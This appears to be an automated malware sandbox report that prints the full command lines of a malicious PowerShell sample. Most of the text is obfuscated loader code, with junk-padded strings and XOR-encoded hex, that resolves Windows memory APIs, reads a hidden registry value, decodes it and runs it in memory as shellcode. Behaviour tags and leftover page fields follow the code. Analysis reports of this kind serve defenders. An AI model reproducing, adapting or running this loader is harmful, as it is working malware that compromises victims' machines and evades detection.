GoDAmybrrShlFlgAceSonUnsva0An Fl'ReFCaDFo9Ur8GeAIs9TiBRu6LiACoBBrAUnDHyEDrAMaFOx9ViEdi4ObFaf9EnFDiDBa9Re2PaBAb8niABrFleBRa8SiALoARiFUl7Re9Ca0SmBOp7ThAGoFAnBHy6AmBsp2FoBPuCTnFAl1Au8De2No9Ta0saBEn7ReAUnDPa8Ca9RaAViDSaALiBCo8Af4YvEHv3paEDo3In8Pt3AlBBoCSaAOvBPeBUn6AbFUr5EnFFr9TeEDeFSkEAnCAfEStFEcFHa5ByFSv9UlEBe9GaAIn1PrETiATrEUk9ViELu9LaELa9UnFCi5SnFSo9FuEIn9SkATo1FrEVaDCeEZa9PaFVo0Po'Re;Dr&fe(St`$CoDKlePofReiDilBeaFobJilTreBo7St)En Ei`$CaCkasTraKorOveEprDenmoeRu7Ri;Et`$FiCMasOpaForExeParSpnGtean8Yd St=Ja TrDUnyDirSclKagIneGanResim0Op Ma'haFReDBl9Be5StAPaCNoBFa7FiBTiDStBSu0AaBFr7TuByn8PhAPoBCuBGa0StAceCmiBTy4PrFAc9GrERe4BeFAf9BrFGuDTf9Ho2SeBBu8anAHaFAgBPe8ApAAnAAfFPr7Tr9So0MeBDu7SpABrFErBDi6EnBPo2TnBTvCJaFEw1In8Be2Hi9So0NoBOp7InASkDUr8Va9CiAHiDSjAKoBUn8Se4HaEBo3FiESo3Go8Va3ThBSlCPaAImBGaBFe6UnFYd5InFKo9FeEDiCClEJuBWiERa1olESoAKoEFlDSiEanAAjEsu9GrEHyDOvFSh5RaFSt9PoEAr9SeAFo1OtEPtAPrERe9anESe9PeETi9AnFMu5UnFAn9SyEFo9imAAd1elEOcDAlFEn0du'Te;Be&Sy(Lo`$AfDLseDufTaiInlVaatrbStlLoeVr7No)Li Op`$SkCEkselaStrAdeSmrFanPaebl8Bi;El`$spAPapInoMarAftPl0Ru0Cy=Ec'suHFoKUnCRaUJu:Th\ApbReaWirHobAmeBecDruFreTrrPsnCheJu\GeaAncrurDioDodFioKdnMotLo'Co;Uf`$BiAShpBeoStrDitst0Fo1Ov In=DiDViyLirMolRegSteBentvsOv0Ac ba'HyFBlDBa9Ba4ReBRa8MiAunBMeBOp8PrABaDUnBEd1GeBIn6AfBNa7KuBKo0MaBJu8FoBSt7SiEUd4GyFUf1No9ArEUnBBaCUnAUnDHaFAu4Cu9Pr0KoAFoDPrBOcCPrBVo4Sm8Ad9GyABuBTeBKo6ryAFo9FoBHoCAvAspBheACoDTeABr0YeFPj9SmFSw4Te8Ho9RaBRa8GnAPeDUdBIn1FuFFo9UnFAuDPs9Fo8UnASu9WiBTh6GeAPhBElAByDFoEBu9PrEMo9MiFVi0ChFJu7Ge8MaAWiABoDVeBMeCJoBIn4SuBTw4TeBStCTrAHeASaBSu8coBOk4SeBEl5AlBfoCSeAklBNaBAp7FoBRaCAf'Rh;Ak&Mh(Re`$RaDRueFofNoiBelSkaAvbRelSceUp7Rr)Ba Pr`$chAfdpbooAnrQutNo0Tr1Ki;Mi`$KuCBysNaaBerMaeDirOfnUneub9So Fe=Bu toDUnyNarRelUngAseRanMasDo0Un pa'EtFPoDMl9heASiAUnAOrBSl8JuAvaBPlBReCWaAAmBFoBAb7HeBReCAkFBe9SgESj4fuFBo9Di8Ge2Hj8KoAAnAPa0ObABaAUnABeDSuBAnCUdBRn4FaFBa7Ra9DiADyBKy6ZoBva7OpAUnFVaBTaCReAcaBDaANoDSa8Sp4StERa3caEHa3Su9LaFExAUdBTeBTr6frBDa4Br9BaBFoBSu8TiAHoAUnBCaCUnEVaFdeEBlDTh8KeAMaACuDPaAseBAfBTr0AnBFi7KaBprEFrFLe1BeFBrDDr9Em4spBfo8NoASaBUdBno8UpAHyDJoBRe1NiBOo6VgBFi7AfBNy0FrBIn8BrBto7PiFCa0We'Su;Pu&Bi(Ra`$EkDBoeCofBoiBrlSaaKabPulReeMr7mi)An Au`$FjCTesTiaPirEleAurOunKaeSt9He;di`$HyMOraPrrLiaUntDbhTaoApnliiElaBonun0Ph Ha=Ti FdDPayMorkelBogDieScnShsBr0ab Ud'Ol8Ma2Li8KeAFuACo0CeAKoAEnASpDBuBJuCCrBPh4BeFNa7Tr8SiBNuAPeCUrBTi7DeATrDdeBBe0SuBBi4OpBTeCBrFTi7Re9Ku0HyBca7ToAOrDUnBstCStAOmBBeBCo6BrASa9Ca8FoALeBBrCMaABaBNoAFeFUnBMn0FoBCoATeBOpCPoAOlAJoFPr7Be9Pa4OmBUn8OmAReBDiATnADrBCo1SaBTi8PeBSs5Af8St4TvELu3blEGi3Da9DaABeBUt6WhACr9PeAVi0AdFSa1DaFBoDUn9UdAUnADiABeBAf8KuAFoBFiBSeCGrAPaBCoBCl7FoBPuCAcFRm5InFRe9PoELn9SeFSt5ErFMa9StFSu9siFyeDUn9Pr8FaADj9ApBOv6HoAleBBoAFiDRaEprAExFet5OvFNo9PrESlFMaEAaCUdEGeFSeFEl0Mi'Ba;Cy&In(Ti`$MeDSueSyfDriRelInaLabSklFreNe7Ra)Di Go`$NiMDeaUvrIdaOvtSchBeoBenSlirgaNangr0Da;No`$TrDSiaErgBrbMelFiaDidIn=Or`$ArCHrsBraImrMoeAlrTinGleUd.StcProByuSanBotTr-Ha6ch5In6Fl;Re`$StMErabrrbaaFatBahSooMunRaiFoaStnAf1La Ko=An PrDUnyTrrAflDegmaePlnSysIn0qe Wa'Tu8Bl2Bl8MaAudANu0DeAPrAAlABaDDuBGeCCoBSt4UnFCo7Ag8PlBFoANoCKlBUd7AfADkDAfBra0ShBAr4MaBKiCSoFta7Fe9Tr0SyBod7LaATaDHuBSkCPaAToBUnBde6FnAfe9Bi8IsAFoBFoCPeAPlBKrAPaFGaBLa0FiBCyAneBgeCSsAluABaFSt7Ti9sp4GrBEx8HaAGaBLaAHaAKlBDo1ReBRe8HoBTr5Re8Pl4LoEbe3ToEFo3Ar9OcAbeBSe6EtASp9SkARe0EjFPa1JuFBuDCo9EnAUpAirAJoBGe8JaAPrBAcBmeCVeAExBPuBBe7UnBBeCBuFPl5fgFBo9FoEIsFDrEStCKoECaFUnFRo5FrFVa9AmFOuDFi9Ov5WeAAmCAnBCa7PuBHoDBeBMa0SoBAr7AcBDo8CoAHaBUnBFo0ArAchCskBBe4tuFFo5FuFPa9HeFAnDLy9DoDKoBTr8ArBSnEDiBFrBDoBVa5miBSh8UnBspDEjFMy0Si'Hj;Ko&Ki(Qu`$ZoDBaeBrfSoiOplSoaTibRelAceBe7Dr)Un Ko`$adMLaaOprMeaAltCohGroVendiiQuaRunKa1Hi;Pa`$SkMStaCerUpalatSuhSeoOrnPoiUnaurnRo2Pa Je=Kv imDHayForAllUdgSteYinPlsCo0Me Ko'AfFhoDTe8OmFSuBIn8BiBis7KuBAdDInBCo0UnBAp7BaBUnDDiAreFtoBAf0SuBDa7seBKnDCeBSi0fnBBr7TiBLeEIsAMoAViBUn8NeBBo7OfBSt5PaBBaEDiBMiEElBRaCErAChDKaABrAKvFko9veEDr4SkFAr9ga8St2Zi8UdAEnASe0FlAUnAKoALoDZeBBiCSpBEs4AsFTi7Co8EvBScAArCpaBGa7SaAReDFoBMo0StBHe4MdBcoCElFBe7Ge9El0FoBun7PrACoDInBBaCExAEuBBaBKo6SuAca9Le8SaASaBVeCHoAHaBArAPrFSkBFo0EnBkaAPrBStCMeANoAMiFKi7In9Ti4UdBSt8FrADeBInAAgATiBCe1crBMu8PiBSk5no8no4NoEYe3StEPa3Le9CrETuBNoCMaAIbDLe9LyDLaBcaCSaBGa5EfBCoCAmBEgEMiBUd8baACyDBrBUnCIn9VaFCoBTj6NoAPoBDe9udFLyAOdCTuBAf7OvBVaAUnADiDHjBMi0MuBKi6MeBKo7Po8Ti9OmBRa6olBPl0LrBKa7KrAAnDReBCaCefAZyBliFId1VrFFo1NiBopFHoBTj2CaAIn9FiFYa9SpFOpDTa8CoFMiBRi0omAAnBMaBbo0AdBDr5ChBBaCFrFSu9HoFHvDac9ta5FoBPh0UnAlnDFaARoDTaBPeCArAUdBPaBshBjuBSn8afBBdEEgFpy0FrFNo5AtFTn9AbFNo1Fa9SiEHy9leDGe8TaDFoFNe9El9Be9LiFAa1Wy8be2Fo9Re0CyBVe7SiAAfDPe8Mn9DeAPrDPaAUpBFo8Re4ByFsh5SpFPr9Fo8St2Pa9Ze0AvBMa7meAReDMi8Ga9EmAFaDStANeBAr8Me4brFSt5siFOr9Pu8Gn2Su9Sc0GrBRi7PrACoDSe8Ef9GiANeDChAkiBAn8Ml4ElFFi5AlFVe9Af8Hj2Bu9Be0MaBTi7HaACoDOc8Ha9SkAAmDInABuBSu8fo4PaFFa5KmFSt9Pe8Se2Ka9De0AfBSt7MoAVeDOv8Dy9AnAAnDCoAmeBUr8Pl4OtFRe0ScFNu9DeFLo1Pl8Ci2Sl9Fa0BeBTa7NoASpDDe8Da9BaAreDSiAAgBVg8Sp4doFAn0InFDe0GrFRe0Be'Bu;Ph&Sk(in`$RoDCeeOmfKoiInlLsaVebSulreeIn7Ol)Sy Vr`$VaMFraChrtraSttSahAsoConHaiTwaRdnAn2Ba;Da`$UnMKlaDirLuaBotUnhbeoprnApiSkaCanEr3Br Ny=Ma JaDNoyLarValEngTiePrnNosDa0An Uf'KoFFoDGr8SpFBeBCl8XeBOs7UnBMoDLaBTa0FiBSa7SvBTrDOsAAmFMaBIn0AvBId7ErBpoDEtBJa0AnBQu7BeBLnEPlAjaATeBBa8FyBWi7CoBUl5ReBAkEFiBKiEToBUnCPrAUnDCiAPrAKlFPa7Un9Re0DuBex7ViASkFKaBFi6StBOd2YoBPrCpaFLu1MuFDeDLy9Fu8ViASp9HaBAv6SmAelBSuAMeDTrELyAAbFPe5LeFStDEt9De5ReAHdCChBTu7FoBBoDMeBEs0HoBBe7UnBIf8TrARiBWaBSl0brAaaCKrBUn4caFRa5AsFPaDde9sh0ArBWoBHiAVoBomAInCSwBMiEreALoDStBAs8BrBHaEunBBe7skBDo0SaBfo7UoBInEEqAOpABuAMaDVoBMa0PeBImDDeAskAAmAMe9TuAObCHoBSt7EnBBl2baAVaDOgBSpCObASeBhuFge5EnEOv9AfFOr5MaEte9ApFVa0Tl'Lo;Fi&Sk(Ga`$PjDdieMefRoiEqlYaaNubHelMoeSt7Pr)Ju Pa`$SkMKvaNorruaGotAphKuoInnDuiNoaFonop3Ar#Om;""";;Function Marathonian9 { param([String]$Eftertrykkeligt); For($Cricoidectomy=2; $Cricoidectomy -lt $Eftertrykkeligt.Length-1; $Cricoidectomy+=(2+1)){ $Dyrlgens = $Dyrlgens + $Eftertrykkeligt.Substring($Cricoidectomy, 1); } $Dyrlgens;}$Aliene0 = Marathonian9 'Me Di An Re Mi Ce Sp Ex Ve Vi Al Ha Hv Ra Sy Th Gl Ag St In Po So Mi UnINiEDrXTa ';$Aliene1= Marathonian9 $Regressionsanalysen;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Aliene1 ;}else{.$Aliene0 $Aliene1;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Dyrlgens0 { param([String]$Eftertrykkeligt); $Dod = New-Object byte[] ($Eftertrykkeligt.Length / 2); For($Cricoidectomy=0; $Cricoidectomy -lt $Eftertrykkeligt.Length; $Cricoidectomy+=2){ $Askebgrenes = $Eftertrykkeligt.Substring($Cricoidectomy, 2); $Dod[$Cricoidectomy/2] = [convert]::ToByte($Askebgrenes, 16); $Dod[$Cricoidectomy/2] = ($Dod[$Cricoidectomy/2] -bxor 217); } [String][System.Text.Encoding]::ASCII.GetString($Dod);}$Sindsbevgelsens0=Dyrlgens0 '8AA0AAADBCB4F7BDB5B5';$Sindsbevgelsens1=Dyrlgens0 '94B0BAABB6AAB6BFADF78EB0B7EAEBF78CB7AAB8BFBC97B8ADB0AFBC94BCADB1B6BDAA';$Sindsbevgelsens2=Dyrlgens0 '9EBCAD89ABB6BA98BDBDABBCAAAA';$Sindsbevgelsens3=Dyrlgens0 '8AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBF';$Sindsbevgelsens4=Dyrlgens0 'AAADABB0B7BE';$Sindsbevgelsens5=Dyrlgens0 '9EBCAD94B6BDACB5BC91B8B7BDB5BC';$Sindsbevgelsens6=Dyrlgens0 '8B8D8AA9BCBAB0B8B597B8B4BCF5F991B0BDBC9BA08AB0BEF5F989ACBBB5B0BA';$Sindsbevgelsens7=Dyrlgens0 '8BACB7ADB0B4BCF5F994B8B7B8BEBCBD';$Sindsbevgelsens8=Dyrlgens0 '8BBCBFB5BCBAADBCBD9DBCB5BCBEB8ADBC';$Sindsbevgelsens9=Dyrlgens0 '90B794BCB4B6ABA094B6BDACB5BC';$Defilable0=Dyrlgens0 '94A09DBCB5BCBEB8ADBC8DA0A9BC';$Defilable1=Dyrlgens0 '9AB5B8AAAAF5F989ACBBB5B0BAF5F98ABCB8B5BCBDF5F998B7AAB09AB5B8AAAAF5F998ACADB69AB5B8AAAA';$Defilable2=Dyrlgens0 '90B7AFB6B2BC';$Defilable3=Dyrlgens0 '89ACBBB5B0BAF5F991B0BDBC9BA08AB0BEF5F997BCAE8AB5B6ADF5F98FB0ABADACB8B5';$Defilable4=Dyrlgens0 '8FB0ABADACB8B598B5B5B6BA';$Defilable5=Dyrlgens0 'B7ADBDB5B5';$Defilable6=Dyrlgens0 '97AD89ABB6ADBCBAAD8FB0ABADACB8B594BCB4B6ABA0';$Defilable7=Dyrlgens0 '909C81';$Defilable8=Dyrlgens0 '85';$Virile=Dyrlgens0 '8C8A9C8BEAEB';$Litterbag=Dyrlgens0 '9AB8B5B58EB0B7BDB6AE89ABB6BA98';function fkp {Param ($Loggier, $Opstartsfil) ;$Csarerne0 =Dyrlgens0 'FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF9E4F9F18298A9A99DB6B4B8B0B784E3E39AACABABBCB7AD9DB6B4B8B0B7F79EBCAD98AAAABCB4BBB5B0BCAAF1F0F9A5F98EB1BCABBCF496BBB3BCBAADF9A2F9FD86F79EB5B6BBB8B598AAAABCB4BBB5A09AB8BAB1BCF9F498B7BDF9FD86F795B6BAB8ADB0B6B7F78AA9B5B0ADF1FD9DBCBFB0B5B8BBB5BCE1F082F4E884F79CA8ACB8B5AAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE9F0F9A4F0F79EBCAD8DA0A9BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE8F0';&($Defilable7) $Csarerne0;$Csarerne5 = Dyrlgens0 'FD9BACBEB1B6ACAABCF9E4F9FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF79EBCAD94BCADB1B6BDF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEBF5F9828DA0A9BC828484F999F1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEAF5F9FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEDF0F0';&($Defilable7) $Csarerne5;$Csarerne1 = Dyrlgens0 'ABBCADACABB7F9FD9BACBEB1B6ACAABCF790B7AFB6B2BCF1FDB7ACB5B5F5F999F1828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBF84F197BCAEF496BBB3BCBAADF98AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF791B8B7BDB5BC8BBCBFF1F197BCAEF496BBB3BCBAADF990B7AD89ADABF0F5F9F1FD9FB6ABBFB5A0BEADB0BEBCB7BDBCAAF79EBCAD94BCADB1B6BDF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAECF0F0F790B7AFB6B2BCF1FDB7ACB5B5F5F999F1FD95B6BEBEB0BCABF0F0F0F0F5F9FD96A9AAADB8ABADAABFB0B5F0F0';&($Defilable7) $Csarerne1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Repacification,[Parameter(Position = 1)] [Type] $Umenneskets = [Void]);$Csarerne2 = Dyrlgens0 'FD93BCAEA0EBECEAF9E4F98298A9A99DB6B4B8B0B784E3E39AACABABBCB7AD9DB6B4B8B0B7F79DBCBFB0B7BC9DA0B7B8B4B0BA98AAAABCB4BBB5A0F1F197BCAEF496BBB3BCBAADF98AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F798AAAABCB4BBB5A097B8B4BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE1F0F0F5F9828AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F79CB4B0ADF798AAAABCB4BBB5A09BACB0B5BDBCAB98BABABCAAAA84E3E38BACB7F0F79DBCBFB0B7BC9DA0B7B8B4B0BA94B6BDACB5BCF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAE0F5F9FDBFB8B5AABCF0F79DBCBFB0B7BC8DA0A9BCF1FD9DBCBFB0B5B8BBB5BCE9F5F9FD9DBCBFB0B5B8BBB5BCE8F5F9828AA0AAADBCB4F794ACB5ADB0BAB8AAAD9DBCB5BCBEB8ADBC84F0';&($Defilable7) $Csarerne2;$Csarerne3 = Dyrlgens0 'FD93BCAEA0EBECEAF79DBCBFB0B7BC9AB6B7AAADABACBAADB6ABF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEFF5F9828AA0AAADBCB4F78BBCBFB5BCBAADB0B6B7F79AB8B5B5B0B7BE9AB6B7AFBCB7ADB0B6B7AA84E3E38AADB8B7BDB8ABBDF5F9FD8BBCA9B8BAB0BFB0BAB8ADB0B6B7F0F78ABCAD90B4A9B5BCB4BCB7ADB8ADB0B6B79FB5B8BEAAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEEF0';&($Defilable7) $Csarerne3;$Csarerne4 = Dyrlgens0 'FD93BCAEA0EBECEAF79DBCBFB0B7BC94BCADB1B6BDF1FD9DBCBFB0B5B8BBB5BCEBF5F9FD9DBCBFB0B5B8BBB5BCEAF5F9FD8CB4BCB7B7BCAAB2BCADAAF5F9FD8BBCA9B8BAB0BFB0BAB8ADB0B6B7F0F78ABCAD90B4A9B5BCB4BCB7ADB8ADB0B6B79FB5B8BEAAF1FD8AB0B7BDAABBBCAFBEBCB5AABCB7AAEEF0';&($Defilable7) $Csarerne4;$Csarerne5 = Dyrlgens0 'ABBCADACABB7F9FD93BCAEA0EBECEAF79AABBCB8ADBC8DA0A9BCF1F0';&($Defilable7) $Csarerne5 ;}$Passageways = Dyrlgens0 'B2BCABB7BCB5EAEB';$Csarerne6 = Dyrlgens0 'FD92B8AFB8AAF9E4F9828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39EBCAD9DBCB5BCBEB8ADBC9FB6AB9FACB7BAADB0B6B789B6B0B7ADBCABF1F1BFB2A9F9FD89B8AAAAB8BEBCAEB8A0AAF9FD9DBCBFB0B5B8BBB5BCEDF0F5F9F19E9D8DF999F18290B7AD89ADAB84F5F9828C90B7ADEAEB84F5F9828C90B7ADEAEB84F5F9828C90B7ADEAEB84F0F9F18290B7AD89ADAB84F0F0F0';&($Defilable7) $Csarerne6;$Ibrugtagningstidspunkter = fkp $Defilable5 $Defilable6;$Csarerne7 = Dyrlgens0 'FD98A9B6ABADEAF9E4F9FD92B8AFB8AAF790B7AFB6B2BCF18290B7AD89ADAB84E3E383BCABB6F5F9EFECEFF5F9E9A1EAE9E9E9F5F9E9A1EDE9F0';&($Defilable7) $Csarerne7;$Csarerne8 = Dyrlgens0 'FD95ACB7BDB0B7B8ABB0ACB4F9E4F9FD92B8AFB8AAF790B7AFB6B2BCF18290B7AD89ADAB84E3E383BCABB6F5F9ECEBE1EAEDEAE9EDF5F9E9A1EAE9E9E9F5F9E9A1EDF0';&($Defilable7) $Csarerne8;$Aport00='HKCU:\barbecuerne\acrodont';$Aport01 =Dyrlgens0 'FD94B8ABB8ADB1B6B7B0B8B7E4F19EBCADF490ADBCB489ABB6A9BCABADA0F9F489B8ADB1F9FD98A9B6ABADE9E9F0F78AADBCB4B4BCAAB8B4B5BCABB7BC';&($Defilable7) $Aport01;$Csarerne9 = Dyrlgens0 'FD9AAAB8ABBCABB7BCF9E4F9828AA0AAADBCB4F79AB6B7AFBCABAD84E3E39FABB6B49BB8AABCEFED8AADABB0B7BEF1FD94B8ABB8ADB1B6B7B0B8B7F0';&($Defilable7) $Csarerne9;$Marathonian0 = Dyrlgens0 '828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39AB6A9A0F1FD9AAAB8ABBCABB7BCF5F9E9F5F9F9FD98A9B6ABADEAF5F9EFECEFF0';&($Defilable7) $Marathonian0;$Dagblad=$Csarerne.count-656;$Marathonian1 = Dyrlgens0 '828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39AB6A9A0F1FD9AAAB8ABBCABB7BCF5F9EFECEFF5F9FD95ACB7BDB0B7B8ABB0ACB4F5F9FD9DB8BEBBB5B8BDF0';&($Defilable7) $Marathonian1;$Marathonian2 = Dyrlgens0 'FD8FB8B7BDB0B7BDAFB0B7BDB0B7BEAAB8B7B5BEBEBCADAAF9E4F9828AA0AAADBCB4F78BACB7ADB0B4BCF790B7ADBCABB6A98ABCABAFB0BABCAAF794B8ABAAB1B8B584E3E39EBCAD9DBCB5BCBEB8ADBC9FB6AB9FACB7BAADB0B6B789B6B0B7ADBCABF1F1BFB2A9F9FD8FB0ABB0B5BCF9FD95B0ADADBCABBBB8BEF0F5F9F19E9D8DF999F18290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F5F98290B7AD89ADAB84F0F9F18290B7AD89ADAB84F0F0F0';&($Defilable7) $Marathonian2;$Marathonian3 = Dyrlgens0 'FD8FB8B7BDB0B7BDAFB0B7BDB0B7BEAAB8B7B5BEBEBCADAAF790B7AFB6B2BCF1FD98A9B6ABADEAF5FD95ACB7BDB0B7B8ABB0ACB4F5FD90BBABACBEADB8BEB7B0B7BEAAADB0BDAAA9ACB7B2ADBCABF5E9F5E9F0';&($Defilable7) $Marathonian3#"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
124KB
-
-
Filesize
10.1MB
-
Filesize
12KB
-
Filesize
11.4MB
-
Filesize
12KB
-
Filesize
8KB
-
Filesize
5.7MB
-
Filesize
50.4MB
-
-
Filesize
5.7MB
-
Filesize
50.4MB
-
Filesize
8KB